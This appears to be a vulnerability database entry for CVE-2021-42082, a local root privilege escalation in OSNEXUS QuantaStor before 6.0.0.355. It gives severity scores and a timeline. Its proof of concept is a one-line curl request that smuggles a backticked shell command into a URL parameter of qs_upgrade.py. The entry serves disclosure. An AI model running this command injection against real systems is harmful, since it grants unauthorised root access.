CVE-2021-42082CWE-269

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

High · published July 10, 2023

CVSS v3.1
7.8
EPSS
0%
Percentile
7.7
In the wild
Unconfirmed
What it is

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

The record
Technical detail
CVSS v3.1
7.8 · HIGH
Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0
Not supplied
EPSS
0.00185 · 7.7th percentile
Weakness
CWE-269 · Improper Privilege Management
Published
2023-07-10T06:29Z
EPSS history
Timeline
  • 10 JUL 06:29Z
    Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
    cvelistv5